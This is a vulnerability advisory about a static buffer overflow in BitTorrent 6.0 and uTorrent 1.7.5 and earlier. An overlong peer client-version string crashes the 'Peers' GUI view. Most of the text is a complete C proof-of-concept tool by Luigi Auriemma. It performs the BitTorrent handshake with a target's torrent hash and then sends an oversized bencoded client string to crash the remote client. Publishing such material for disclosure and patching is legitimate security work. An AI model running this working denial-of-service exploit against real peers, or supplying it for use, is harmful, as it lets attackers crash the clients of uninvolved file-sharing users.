BitTorrent and UTorrent Peers Static Overflow ------------------------------------------------------------------------
SUMMARY
<http://www.bittorrent.com> BitTorrent and <http://www.utorrent.com> uTorrent are "the most used clients for the bittorrent protocol and are both built over the same code base derived by uTorrent". A static buffer overflow is present in both BitTorrent and uTorrent clients, this overflow would allow a remote attacker to crash the clients.
DETAILS
Vulnerable Systems: * BitTorrent version 6.0 build 5535 and prior * uTorrent version 1.7.5 build 4602 and prior * uTorrent version 1.8-alpha-7834 and prior
Immune Systems: * uTorrent version 1.7.6 build 7859
By default both the clients have the "Detailed Info" window active with the "General" section visible in it where are reported various informations about the status of the torrent and the trackers in use.
In this same window near "General" there is also the "Peers" section which is very useful since it showes many informations about the other connected clients like the percentage of availability of the shared torrent, their IP address, country, speed and amount of downloaded and uploaded data and moreover the version of their client (like "BitTorrent 6.0", "Azureus 3.0.3.4", "uTorrent 1.7.5", "KTorrent 2.2.4" and so on).
When this window is visualized by the user the unicode strings with the software versions of the connected clients are copied in the relative static buffers used for the visualization in the GUI through the wcscpy function.
If this string is too long a crash will occur immediately or in some cases (like on BitTorrent) could happen later or when the user watches the status of another torrent or leaves the "Peers" window. Code execution is not possible.
For exploiting the problem is enough that an external attacker connects to the random port opened on the client and sends the long client version and the SHA1 hash of the torrent currently in use and watched on the target. Note that all these parameters (client IP, port and torrent's hash) are publicly available on the tracker.
Exploit: /*
by Luigi Auriemma - http://aluigi.org/poc/ruttorrent.zip
*/
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <time.h> #include <ctype.h> #include <sys/stat.h> #include <openssl/sha.h>
#ifdef WIN32 #include <winsock.h> #include "winerr.h"
#define close closesocket #define sleep Sleep #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h>
#define ONESEC 1 #endif
typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32;
#define VER "0.1" //#define PORT 6881 #define BUFFSZ 0xffff #define RESEXTBYTES "\x00\x00\x00\x00\x00\x10\x00\x01" #define BITPROTO "BitTorrent protocol" #define BOOMSZ 16599 // the max
int hash_it(u8 *fname, u8 *hash); u8 *fdload(u8 *fname, int *len); int hex2bin(u8 *src, u8 *dst, int len); int bit_send(int sd, u8 *buff, int len); int tcp_recv(int sd, u8 *buff, int len); int putrn(u8 *data, int len); int putmm(u8 *data, u8 *str, int len); int putss(u8 *data, u8 *str); int putcc(u8 *data, int chr, int len); int getxx(u8 *data, u32 *ret, int bits); int putxx(u8 *data, u32 num, int bits); int timeout(int sock, int secs); u32 resolv(char *host); void std_err(void);
int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, i, len; u16 port; u8 info_hash[20], *host, *hashtorrent, *buff, *p;
#ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif
setbuf(stdout, NULL);
fputs("\n" "BitTorrent <= 6.0 (build 5535) and uTorrent <= 1.7.5 (build 4602)\n" " Peers info GUI unicode overflow "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout);
if(argc < 4) { printf("\n" "Usage: %s <hash/torrent> <host> <port>\n" "\n" "hash/torrent can be directly the SHA1 hash of the dictionary's field of the\n" "torrent file used in the target machine or just the torrent file on which this\n" "tool will \"try\" to calculate the hash, it's needed because the big client\n" "name will be placed (wcscpy+wcscat) in the window of that torrent\n" "\n" "Examples:\n" " ruttorrent file.torrent 127.0.0.1 6881\n" " ruttorrent 0123456789abcdef0123456789abcdef01234567 localhost 1234\n" "\n", argv[0]); exit(1); }
hashtorrent = argv[1]; host = argv[2]; port = atoi(argv[3]);
if(hash_it(hashtorrent, info_hash) < 0) { printf("- file not available, consider input as hash\n"); len = hex2bin(hashtorrent, info_hash, 20); if(len != 20) { printf("\nError: your dictionay SHA1 hash has a wrong length (%d)\n", len); exit(1); } } printf("- torrent's dictionary SHA1 hash: "); for(i = 0; i < 20; i++) printf("%02x", info_hash[i]); printf("\n");
peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
buff = malloc(BUFFSZ); if(!buff) std_err();
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err();
p = buff; p += putxx(p, strlen(BITPROTO), 8); // size of protocol name p += putss(p, BITPROTO); // protocol name p += putmm(p, RESEXTBYTES, 8); // reserved p += putmm(p, info_hash, 20); // info hash p += putrn(p, 20); // peer ID printf("- send \"%s\" packet\n", BITPROTO); if(send(sd, buff, p - buff, 0) < 0) goto quit;
p = buff; p += putxx(p, 20, 8); p += putxx(p, 0, 8); p += sprintf(p, "d1:ei0e1:md6:ut_pexi1ee1:pi0e1:v%u:", BOOMSZ); p += putcc(p, 0xff, BOOMSZ); p += sprintf(p, "e"); printf("- send big client string\n"); if(bit_send(sd, buff, p - buff) < 0) goto quit;
printf("- stay connected: "); for(;;) { len = recv(sd, buff, BUFFSZ, 0); if(len <= 0) break; fputc('.', stdout); }
printf("\n- done\n"); close(sd); free(buff); return(0); quit: printf("\nError: something wrong during communication (wrong hash or port)\n"); close(sd); free(buff); return(1); }
int hash_it(u8 *fname, u8 *hash) { SHA_CTX ctx; int len; u8 *filez, *p;
filez = fdload(fname, &len); if(!filez) return(-1);
p = strstr(filez, "4:infod"); // lame/wrong but fast and easy if(!p) { printf("\nError: no bencoded info section found\n"); exit(1); } p += 6; SHA1_Init(&ctx); SHA1_Update(&ctx, p, len - (p - filez) - 1); SHA1_Final(hash, &ctx);
free(filez); return(0); }
u8 *fdload(u8 *fname, int *len) { struct stat xstat; FILE *fd; u8 *ret;
printf("- open %s\n", fname); fd = fopen(fname, "rb"); if(!fd) return(NULL); fstat(fileno(fd), &xstat); ret = malloc(xstat.st_size); if(!ret) std_err(); *len = fread(ret, 1, xstat.st_size, fd); fclose(fd); printf("- %d bytes loaded\n", *len); return(ret); }
int hex2bin(u8 *src, u8 *dst, int len) { int c; u8 *i, *o, *l;
i = src; o = dst; for(l = dst + len; *i && (o < l); i++) { c = tolower(*i); if(((c >= '0') && (c <= '9')) || ((c >= 'a') && (c <= 'f'))) { sscanf(i, "%02x", &c); *o++ = c; i++; } } return(o - dst); }
int bit_send(int sd, u8 *buff, int len) { u8 tmp[4];
putxx(tmp, len, 32); if(send(sd, tmp, 4, 0) != 4) return(-1); if(send(sd, buff, len, 0) != len) return(-1); return(0); }
int tcp_recv(int sd, u8 *buff, int len) { int t; u8 *p;
for(p = buff; len; p += t, len -= t) { if(timeout(sd, 20) < 0) return(-1); t = recv(sd, p, len, 0); if(t <= 0) return(-1); } return(0); }
int putrn(u8 *data, int len) { u32 rnd; int i;
rnd = time(NULL); for(i = 0; i < len; i++) { rnd = (rnd * 0x343FD) + 0x269EC3; data[i] = rnd; } return(len); }
int putmm(u8 *data, u8 *str, int len) { memcpy(data, str, len); return(len); }
int putss(u8 *data, u8 *str) { int len;
len = strlen(str); memcpy(data, str, len); return(len); }
int putcc(u8 *data, int chr, int len) { memset(data, chr, len); return(len); }
int getxx(u8 *data, u32 *ret, int bits) { u32 num; int i, bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) { num |= (data[i] << ((bytes - 1 - i) << 3)); }
*ret = num; return(bytes); }
int putxx(u8 *data, u32 num, int bits) { int i, bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) { data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff; }
return(bytes); }
int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read;
tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1); return(0); }
u32 resolv(char *host) { struct hostent *hp; u32 host_ip;
host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u32 *)hp->h_addr; } return(host_ip); }
#ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma. The original article can be found at: <http://aluigi.altervista.org/adv/ruttorrent-adv.txt> http://aluigi.altervista.org/adv/ruttorrent-adv.txt
|